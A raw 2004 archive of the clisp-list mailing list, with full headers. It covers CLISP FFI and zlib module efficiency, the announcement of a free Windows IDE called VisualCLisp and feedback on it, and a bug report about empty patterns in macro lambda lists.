List-Archive: Date: Wed Sep 1 20:03:08 2004 X-Original-Date: Thu, 02 Sep 2004 05:02:28 +0200 I am on my holidays until Sep. 3 th. In urgent cases you can also adress to Mr. Thorsten Scheibler thorsten.scheibler@semikron.com Best regards Abu-Sinneh >>> clisp-list 09/02/04 16:51 >>> ------------------ Virus Warning Message (on denue01viw01) Found virus PE_FUNLOVE.4099 in file document.txt = .exe (in mails9.zip) The uncleanable file mails9.zip is moved to /virusscan/infected_files/virR4= WFeT. --------------------------------------------------------- From Joerg-Cyril.Hoehle@t-systems.com Thu Sep 02 02:10:37 2004 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1C2nc5-0005E5-7O for clisp-list@lists.sourceforge.net; Thu, 02 Sep 2004 02:10:37 -0700 Received: from mail4.telekom.de ([195.243.210.197]) by sc8-sf-mx2.sourceforge.net with esmtp (Exim 4.34) id 1C2nc2-0006pQ-LM for clisp-list@lists.sourceforge.net; Thu, 02 Sep 2004 02:10:36 -0700 Received: from g8pbq.blf01.telekom.de by mail2.dmz.telekom.de with ESMTP for clisp-list@lists.sourceforge.net; Thu, 2 Sep 2004 11:10:19 +0200 Received: by G8PBQ.blf01.telekom.de with Internet Mail Service (5.5.2653.19) id ; Thu, 2 Sep 2004 11:10:27 +0200 Message-Id: <5F9130612D07074EB0A0CE7E69FD7A03015421B0@S4DE8PSAAGS.blf.telekom.de> From: "Hoehle, Joerg-Cyril" To: clisp-list@lists.sourceforge.net MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: text/plain X-Spam-Score: 0.1 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_SLASH BODY: Text interparsed with / 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_COLON BODY: Text interparsed with : 0.0 SF_CHICKENPOX_APOSTROPHE BODY: Text interparsed with ' 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . Subject: [clisp-list] Re: FFI variable length arrays optimization Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Thu Sep 2 02:11:24 2004 X-Original-Date: Thu, 2 Sep 2004 11:10:24 +0200 Hi, Sam wrote: >it would also be nice if COMPRESS accepted an optional argument - where >to write the compressed data, instead of allocating a new vector each >time (a la READ-SEQUENCE) What you are asking for is to import a variation of MEM-READ/WRITE-VECTOR from the defunct AFFI into the FFI. It's the only thing that allows to write into existing Lisp vectors. The FFI does not. Which seems to prove that there's a need for them. My own feeling right yesterday was that efficient `(c-array ...) handling together with FFI:CAST/OFFSET would make adding these functions superfluous. Looks wrong. >this is, unfortunately, asymmetric: you are compressing a string into a >byte vector. Actually, I did not care about how it is when I wrote that in 2002. I wrote the function needed for Marc's cl-pdf-0.45 to write compressed .pdf files with CLISP. The API is not mine, it's Marc's. IIRC, Marc did not integrate my code when I told him that dynamic loading had not been integrated into CLISP yet (it was only available as my dynload patch back then). So it would be nice if somebody stood up and looked after cl-pdf w.r.t. CLISP (IIRC, Marc switched to UFFI...). But maybe submission should wait until you settle on the def-call-out :library declaration issue and finding-a-module concept. Regards, Jorg Hohle From krwl@wp.pl Thu Sep 02 05:25:04 2004 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1C2qdz-0007Fe-W4 for clisp-list@lists.sourceforge.net; Thu, 02 Sep 2004 05:24:47 -0700 Received: from smtp.wp.pl ([212.77.101.160]) by sc8-sf-mx1.sourceforge.net with esmtp (TLSv1:AES256-SHA:256) (Exim 4.34) id 1C2qdy-00049A-6G for clisp-list@lists.sourceforge.net; Thu, 02 Sep 2004 05:24:47 -0700 Received: (wp-smtpd smtp.wp.pl 12246 invoked from network); 2 Sep 2004 14:24:35 +0200 Received: from ofree.wp-sa.pl (HELO localhost) ([212.77.101.203]) (envelope-sender ) by smtp.wp.pl (WP-SMTPD) with SMTP for ; 2 Sep 2004 14:24:35 +0200 From: =?ISO-8859-2?Q?Krzysztof_W=B3odarczyk?= To: clisp-list@lists.sourceforge.net Message-ID: <4137110282246@wp.pl> MIME-Version: 1.0 Content-Type: text/plain; charset=iso-8859-2 Content-Transfer-Encoding: 8bit Content-Disposition: inline X-Mailer: Interfejs WWW poczty Wirtualnej Polski Organization: Poczta Wirtualnej Polski S.A. http://www.wp.pl/ X-IP: 80.55.118.194 X-WP-AV: skaner antywirusowy poczty Wirtualnej Polski S. A. X-WP-AS1: NOSPAM X-WP-AS2: NOSPAM X-WP-SPAM: NO X-Spam-Score: 0.1 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_SLASH BODY: Text interparsed with / 0.0 SF_CHICKENPOX_AMPERSAND BODY: Text interparsed with & 0.0 SF_CHICKENPOX_APOSTROPHE BODY: Text interparsed with ' 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . 0.0 SF_CHICKENPOX_EQUAL BODY: Text interparsed with = Subject: [clisp-list] VisualCLisp - free IDE for MSWindows Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Thu Sep 2 05:26:02 2004 X-Original-Date: Thu, 2 Sep 2004 14:24:34 +0200 Hi, I've written an IDE environment for Windows based on free CLisp compiler. It's free, it's got help (based on Common Lisp: The Language by Guy L. Steele Jr.), tooltip help, console available and syntax coloring. More on: http://ciapek.uci.agh.edu.pl/~kwlodarc/VisualCLisp/en.htm regards. ---------------------------------------------------- Zwierciad³o - magazyn dla m±drych kobiet! http://klik.wp.pl/?adr=www.zwierciadlo.pl&sid=231 From Roman.Belenov@intel.com Thu Sep 02 06:10:44 2004 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1C2rMM-0004dN-Cs for clisp-list@lists.sourceforge.net; Thu, 02 Sep 2004 06:10:38 -0700 Received: from fmr02.intel.com ([192.55.52.25] helo=caduceus.fm.intel.com) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.34) id 1C2rML-0002SF-Cp for clisp-list@lists.sourceforge.net; Thu, 02 Sep 2004 06:10:38 -0700 Received: from petasus-pilot.fm.intel.com (petasus-pilot.fm.intel.com [10.1.192.44]) by caduceus.fm.intel.com (8.12.9-20030918-01/8.12.9/d: major-outer.mc,v 1.15 2004/01/30 18:16:28 root Exp $) with ESMTP id i82DAcAw026280; Thu, 2 Sep 2004 13:10:38 GMT Received: from fmsmsxvs043.fm.intel.com (fmsmsxvs043.fm.intel.com [132.233.42.129]) by petasus-pilot.fm.intel.com (8.12.9-20030918-01/8.12.9/d: major-inner.mc,v 1.11 2004/07/29 22:51:53 root Exp $) with SMTP id i82DDlSQ014136; Thu, 2 Sep 2004 13:14:08 GMT Received: (from NNWRBELENOV31 [10.125.17.147]) by fmsmsxvs043.fm.intel.com (SAVSMTP 3.1.2.35) with SMTP id M2004090206102707170 ; Thu, 02 Sep 2004 06:10:30 -0700 To: =?iso-8859-2?q?Krzysztof_W=B3odarczyk?= Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] VisualCLisp - free IDE for MSWindows References: <4137110282246@wp.pl> From: Roman Belenov In-Reply-To: <4137110282246@wp.pl> (Krzysztof =?iso-8859-2?q?W=B3odarczyk's?= message of "Thu, 2 Sep 2004 14:24:34 +0200") Message-ID: User-Agent: Gnus/5.1006 (Gnus v5.10.6) Emacs/21.2 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain; charset=iso-8859-2 X-Scanned-By: MIMEDefang 2.31 (www . roaringpenguin . com / mimedefang) Content-Transfer-Encoding: quoted-printable X-MIME-Autoconverted: from 8bit to quoted-printable by caduceus.fm.intel.com id i82DAcAw026280 X-Spam-Score: 0.1 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_SLASH BODY: Text interparsed with / 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_AT BODY: Text interparsed with @ 0.0 SF_CHICKENPOX_APOSTROPHE BODY: Text interparsed with ' 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Thu Sep 2 06:12:10 2004 X-Original-Date: Thu, 02 Sep 2004 17:10:23 +0400 Krzysztof W=B3odarczyk writes: > It's free, it's got help (based on Common Lisp: The Language by=20 > Guy L. Steele Jr.), tooltip help, console available and syntax=20 Since clisp implements ANSI CL, it would be better to base documentation = on the Hyperspec (http://www.lispworks.com/reference/HyperSpec/). --=20 With regards, Roman. From pascal@informatimago.com Thu Sep 02 07:50:23 2004 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1C2sus-0004fA-GH for clisp-list@lists.sourceforge.net; Thu, 02 Sep 2004 07:50:22 -0700 Received: from 78.informatimago.com ([62.93.174.78] helo=larissa.informatimago.com ident=postfix) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.34) id 1C2sup-0000un-SL for clisp-list@lists.sourceforge.net; Thu, 02 Sep 2004 07:50:22 -0700 Received: from thalassa.informatimago.com (79.informatimago.com [62.93.174.79]) by larissa.informatimago.com (Postfix on SuSE Linux 7.3 (i386)) with ESMTP id 7062858D3B; Thu, 2 Sep 2004 16:50:02 +0200 (CEST) Received: by thalassa.informatimago.com (Postfix, from userid 1000) id A169F483EA; Thu, 2 Sep 2004 16:49:23 +0200 (CEST) Message-ID: <16695.13043.577850.287077@thalassa.informatimago.com> To: =?ISO-8859-2?Q?Krzysztof_W=B3odarczyk?= Cc: clisp-list@lists.sourceforge.net Subject: [clisp-list] VisualCLisp - free IDE for MSWindows In-Reply-To: <4137110282246@wp.pl> References: <4137110282246@wp.pl> X-Mailer: VM 7.17 under Emacs 21.3.1 Reply-To: From: Pascal J.Bourguignon Organization: InformatiMago. X-PGP-Key-ID: 0xEF5E9966 X-PGP-fingerprint: 00 F5 7B DB CA 51 8A AD 04 5B 6C DE 32 60 16 8E EF 5E 99 66 X-PGP-Public-Key: http://www.informatimago.com/pgpkey.asc X-URL: http://www.informatimago.com/index X-Face: ":yO)Vk=vFU3)FL&2#7gT_G=KUuNv*BEOo+Shubl.V4Whu&;A.>.+&yEVB5I5vrpZIJ{yOW >CgV%jD]GHL6rp:.OCM~_YO&aY34]|`{yNq79\x=g:7XSboBUj]1ULpA;v>-bS3veufw-rB!N0kZW! @A4i?z| X-Accept-Language: fr, es, en Mime-Version: 1.0 Content-Transfer-Encoding: 8bit Content-Disposition: inline Content-Type: text/plain; charset=iso-8859-15 Content-Language: en X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_SLASH BODY: Text interparsed with / 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_APOSTROPHE BODY: Text interparsed with ' 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Thu Sep 2 07:51:05 2004 X-Original-Date: Thu, 2 Sep 2004 16:49:23 +0200 Krzysztof W$,1 b(Bodarczyk writes: > I've written an IDE environment for Windows based on free CLisp > compiler. > It's free, it's got help (based on Common Lisp: The Language by > Guy L. Steele Jr.), tooltip help, console available and syntax > coloring. > > More on: > http://ciapek.uci.agh.edu.pl/~kwlodarc/VisualCLisp/en.htm Congratualations! Very nice job! -- __Pascal Bourguignon__ http://www.informatimago.com/ Our enemies are innovative and resourceful, and so are we. They never stop thinking about new ways to harm our country and our people, and neither do we. From Joerg-Cyril.Hoehle@t-systems.com Fri Sep 03 01:34:25 2004 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1C39Wb-0004av-C1 for clisp-list@lists.sourceforge.net; Fri, 03 Sep 2004 01:34:25 -0700 Received: from mail1.telekom.de ([62.225.183.202]) by sc8-sf-mx2.sourceforge.net with esmtp (Exim 4.34) id 1C39Wa-0005r7-IL for clisp-list@lists.sourceforge.net; Fri, 03 Sep 2004 01:34:25 -0700 Received: from g8pbr.blf01.telekom.de by G8SBV.dmz.telekom.de with ESMTP for clisp-list@lists.sourceforge.net; Fri, 3 Sep 2004 10:34:10 +0200 Received: by G8PBR.blf01.telekom.de with Internet Mail Service (5.5.2653.19) id ; Fri, 3 Sep 2004 10:32:28 +0200 Message-Id: <5F9130612D07074EB0A0CE7E69FD7A03017177FB@S4DE8PSAAGS.blf.telekom.de> From: "Hoehle, Joerg-Cyril" To: clisp-list@lists.sourceforge.net MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: text/plain X-Spam-Score: 0.1 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_SLASH BODY: Text interparsed with / 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_COLON BODY: Text interparsed with : 0.0 SF_CHICKENPOX_APOSTROPHE BODY: Text interparsed with ' 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . 0.0 SF_CHICKENPOX_BRACKET_CLOSE BODY: Text interparsed with ] 0.0 SF_CHICKENPOX_QUOTE BODY: Text interparsed with " Subject: [clisp-list] Re: FFI variable length arrays optimization Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Fri Sep 3 01:35:07 2004 X-Original-Date: Fri, 3 Sep 2004 10:32:25 +0200 Hi, Sam Steingold asked: >well, whatever the means, I want ZLIB:COMPRESS and ZLIB:UNCOMPRESS in >the new ZLIB module to be as efficient as possible. Well, that means writing a module instead of using the FFI. With the FFI, there will always the overhead of parsing the internal c-type description of the foreign function. In particular, if you want compress/uncompress as part of a "core" CLISP and possibly take advantage of them in other parts of core CLISP (e.g. transparent compressed streams), then the FFI is *not* the way to go. Only modules are portable and without any headaches, to absolutely all platforms that CLISP runs on. >if they were written in C using modprep.lisp they would not >cons at all. >is it possible to make them non-consing while still using FFI? a) I forgot whether invocation of a foreign function may cons in some situations or if everything is always stack-allocated. b) with-foreign-object/with-c-var create a closure, i.e. "cons", generally speaking. c) with the FFI, either using allocate-shadow or stack-allocating, at least one FOREIGN-VARIABLE object must be created, that's also sort of consing. BTW, for a general [un]compress, maybe stack-allocation must be switched to malloc when the buffer is large (dynamically dispatching on the size)? d) Even with a module, what would you do with the in and out buffers, do they count as consing? Would you always stack-allocate? Would you use a fill-pointer to resize the output buffer to the actual size (trading array-copying time with wasted buffer space)? >> finding-a-module concept. >huh? o what does a def-call-out declaration look like now w.r.t. to OS-dependent library names? (or #+WIN32 "zlib.dll" #+cygwin"cygz.dll" #+UNIX "libz.so" #+AMIGA "zlib.library") o what prerequisites does it have (e.g. hypothetical def-module) o what happens to function objects across savemem/restart CLISP? o what happens at startup when a shared library is not found? Regards, Jorg Hohle From andreas.thiele@technologiekontor.de Fri Sep 03 01:55:46 2004 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1C39r3-0007on-Ru for clisp-list@lists.sourceforge.net; Fri, 03 Sep 2004 01:55:33 -0700 Received: from natnoddy.rzone.de ([81.169.145.166]) by sc8-sf-mx2.sourceforge.net with esmtp (Exim 4.34) id 1C39r2-0000K2-Tc for clisp-list@lists.sourceforge.net; Fri, 03 Sep 2004 01:55:33 -0700 Received: from atpws02 (pD9E33D80.dip.t-dialin.net [217.227.61.128]) by post.webmailer.de (8.12.10/8.12.10) with ESMTP id i838tV4V016146 for ; Fri, 3 Sep 2004 10:55:31 +0200 (MEST) From: "Andreas Thiele" To: Subject: AW: [clisp-list] VisualCLisp - free IDE for MSWindows Message-ID: <000001c49193$c4deeae0$13b5fea9@atpws02> MIME-Version: 1.0 Content-Type: text/plain; charset="utf-8" Content-Transfer-Encoding: quoted-printable X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook, Build 10.0.6626 Importance: Normal X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2800.1106 X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_APOSTROPHE BODY: Text interparsed with ' 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Fri Sep 3 05:39:07 2004 X-Original-Date: Fri, 3 Sep 2004 10:55:31 +0200 Hi, I like the look and feel. Performance seems very nice. My favourite IDE for CLisp is Jabberwocky = (http://jabberwocky.sourceforge.net/). It is a Java program. I think your program should have some addition to be really helpful. = First of all, I think there should be a key which evaluates the form = under the cursor. So you can type a function, press lets say F8 and your = (defun ...) gets evaluated. This makes developing very fast. One should = in my opinion also be able to directly type within the console window. = The next thing about Jabberwocky I like is: it presents a treeview = showing your functions, structures, classes etc. These are some suggestions, because I'd like to have a better performing = program than Jabberwocky but I want to have the Jabberwocky tools. Thanks for your efforts. Andreas From david@knowledgetools.de Fri Sep 03 05:43:32 2004 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1C3DPZ-0001g4-EM for clisp-list@lists.sourceforge.net; Fri, 03 Sep 2004 05:43:25 -0700 Received: from isoconazol.knowledgetools.de ([212.5.29.62]) by sc8-sf-mx1.sourceforge.net with esmtp (TLSv1:DES-CBC3-SHA:168) (Exim 4.34) id 1C3DPY-00086e-Ra for clisp-list@lists.sourceforge.net; Fri, 03 Sep 2004 05:43:25 -0700 Received: from [127.0.0.1] (helo=localhost) by isoconazol.knowledgetools.de with esmtp (Exim 4.41) id 1C3DPT-0000On-9x for clisp-list@lists.sourceforge.net; Fri, 03 Sep 2004 14:43:19 +0200 Received: from isoconazol.knowledgetools.de ([127.0.0.1]) by localhost (isoconazol.knowledgetools.de [127.0.0.1]) (amavisd-new, port 10024) with ESMTP id 30947-06 for ; Fri, 3 Sep 2004 14:43:18 +0200 (CEST) Received: from [192.168.150.102] (helo=gagravarr.knowledgetools.de) by isoconazol.knowledgetools.de with smtp (Exim 4.41) id 1C3DPR-0000Oh-Ur for clisp-list@lists.sourceforge.net; Fri, 03 Sep 2004 14:43:18 +0200 Received: (qmail 10612 invoked by uid 1000); 3 Sep 2004 12:47:11 -0000 To: clisp-list@lists.sourceforge.net From: David Lichteblau Message-ID: <87vfevcyep.fsf@knowledgetools.de> User-Agent: Gnus/5.090024 (Oort Gnus v0.24) Emacs/21.3 (gnu/linux) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Virus-Scanned: by amavisd-new at isoconazol.knowledgetools.de X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_SLASH BODY: Text interparsed with / 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_AT BODY: Text interparsed with @ 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . Subject: [clisp-list] empty pattern in macro lambda list Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Fri Sep 3 05:44:06 2004 X-Original-Date: Fri, 03 Sep 2004 14:47:10 +0200 Hi, as far as I understand the spec, NIL should be allowed in macro lambda lists as an empty destructuring pattern: : david@gargravarr:~; clisp -ansi i i i i i i i ooooo o ooooooo ooooo ooooo I I I I I I I 8 8 8 8 8 o 8 8 I \ `+' / I 8 8 8 8 8 8 \ `-+-' / 8 8 8 ooooo 8oooo `-__|__-' 8 8 8 8 8 | 8 o 8 8 o 8 8 ------+------ ooooo 8oooooo ooo8ooo ooooo 8 Copyright (c) Bruno Haible, Michael Stoll 1992, 1993 Copyright (c) Bruno Haible, Marcus Daniels 1994-1997 Copyright (c) Bruno Haible, Pierpaolo Bernardi, Sam Steingold 1998 Copyright (c) Bruno Haible, Sam Steingold 1999-2000 Copyright (c) Sam Steingold, Bruno Haible 2001-2004 ;; Loading file /home/david/.clisprc.lisp ... ;; Loaded file /home/david/.clisprc.lisp [1]> (compile (defmacro with-test (()))) ERROR in WITH-TEST : Constant NIL cannot be bound. NIL ; 1 ; 1 From sds@gnu.org Fri Sep 03 06:44:38 2004 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1C3EMn-00026y-Kt for clisp-list@lists.sourceforge.net; Fri, 03 Sep 2004 06:44:37 -0700 Received: from fw-ext.alphatech.com ([198.112.236.6] helo=alphatech.com) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.34) id 1C3EMl-0000pr-J8 for clisp-list@lists.sourceforge.net; Fri, 03 Sep 2004 06:44:36 -0700 Received: from WINSTEINGOLDLAP (winsteingoldlap.ad.alphatech.com [10.0.64.31]) by alphatech.com (8.12.10/8.12.10) with ESMTP id i83DhhSA029620; Fri, 3 Sep 2004 09:43:48 -0400 (EDT) To: clisp-list@lists.sourceforge.net, David Lichteblau Mail-Copies-To: never Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. From: Sam Steingold In-Reply-To: <87vfevcyep.fsf@knowledgetools.de> (David Lichteblau's message of "Fri, 03 Sep 2004 14:47:10 +0200") References: <87vfevcyep.fsf@knowledgetools.de> Mail-Followup-To: clisp-list@lists.sourceforge.net, David Lichteblau Message-ID: User-Agent: Gnus/5.1003 (Gnus v5.10.3) Emacs/21.3.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_SLASH BODY: Text interparsed with / 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_AT BODY: Text interparsed with @ 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . Subject: [clisp-list] Re: empty pattern in macro lambda list Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Fri Sep 3 06:45:06 2004 X-Original-Date: Fri, 03 Sep 2004 09:43:43 -0400 > * David Lichteblau [2004-09-03 14:47:10 +0200]: > > as far as I understand the spec, NIL should be allowed in macro lambda > lists as an empty destructuring pattern: > [1]> (compile (defmacro with-test (()))) > > ERROR in WITH-TEST : > Constant NIL cannot be bound. > NIL ; > 1 ; > 1 -- Sam Steingold (http://www.podval.org/~sds) running w2k All generalizations are wrong. Including this. From sds@gnu.org Fri Sep 03 06:49:54 2004 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1C3ERu-0003PB-6n for clisp-list@lists.sourceforge.net; Fri, 03 Sep 2004 06:49:54 -0700 Received: from fw-ext.alphatech.com ([198.112.236.6] helo=alphatech.com) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.34) id 1C3ERt-0001cw-VC for clisp-list@lists.sourceforge.net; Fri, 03 Sep 2004 06:49:54 -0700 Received: from WINSTEINGOLDLAP (winsteingoldlap.ad.alphatech.com [10.0.64.31]) by alphatech.com (8.12.10/8.12.10) with ESMTP id i83DnfSA001091; Fri, 3 Sep 2004 09:49:41 -0400 (EDT) To: clisp-list@lists.sourceforge.net, "Hoehle, Joerg-Cyril" Mail-Copies-To: never Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. From: Sam Steingold In-Reply-To: <5F9130612D07074EB0A0CE7E69FD7A03017177FB@S4DE8PSAAGS.blf.telekom.de> (Joerg-Cyril Hoehle's message of "Fri, 3 Sep 2004 10:32:25 +0200") References: <5F9130612D07074EB0A0CE7E69FD7A03017177FB@S4DE8PSAAGS.blf.telekom.de> Mail-Followup-To: clisp-list@lists.sourceforge.net, "Hoehle, Joerg-Cyril" Message-ID: User-Agent: Gnus/5.1003 (Gnus v5.10.3) Emacs/21.3.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain X-Spam-Score: 0.1 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_SLASH BODY: Text interparsed with / 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_COLON BODY: Text interparsed with : 0.0 SF_CHICKENPOX_AT BODY: Text interparsed with @ 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . Subject: [clisp-list] Re: FFI variable length arrays optimization Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Fri Sep 3 06:50:12 2004 X-Original-Date: Fri, 03 Sep 2004 09:49:41 -0400 > * Hoehle, Joerg-Cyril [2004-09-03 10:32:25 +0200]: > > Sam Steingold asked: >>well, whatever the means, I want ZLIB:COMPRESS and ZLIB:UNCOMPRESS in >>the new ZLIB module to be as efficient as possible. > > Well, that means writing a module instead of using the FFI. > With the FFI, there will always the overhead of parsing the internal > c-type description of the foreign function. I thought other lisps could compile foreign calls to something non-consing. > In particular, if you want compress/uncompress as part of a "core" > CLISP and possibly take advantage of them in other parts of core CLISP > (e.g. transparent compressed streams), then the FFI is *not* the way > to go. of course. making i/o pluggable (e.g., letting OPEN handle compressed streams and SSL sockets) would take a rewrite of stream.d anyway. >>if they were written in C using modprep.lisp they would not >>cons at all. >>is it possible to make them non-consing while still using FFI? > > d) Even with a module, what would you do with the in and out buffers, > do they count as consing? Would you always stack-allocate? Would you both COMPRESS and UNCOMPRESS should take both input and output buffers from the outside. > use a fill-pointer to resize the output buffer to the actual size > (trading array-copying time with wasted buffer space)? yes. -- Sam Steingold (http://www.podval.org/~sds) running w2k The world will end in 5 minutes. Please log out. From Joerg-Cyril.Hoehle@t-systems.com Fri Sep 03 07:10:57 2004 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1C3EmG-0008F7-Nx for clisp-list@lists.sourceforge.net; Fri, 03 Sep 2004 07:10:56 -0700 Received: from mail4.telekom.de 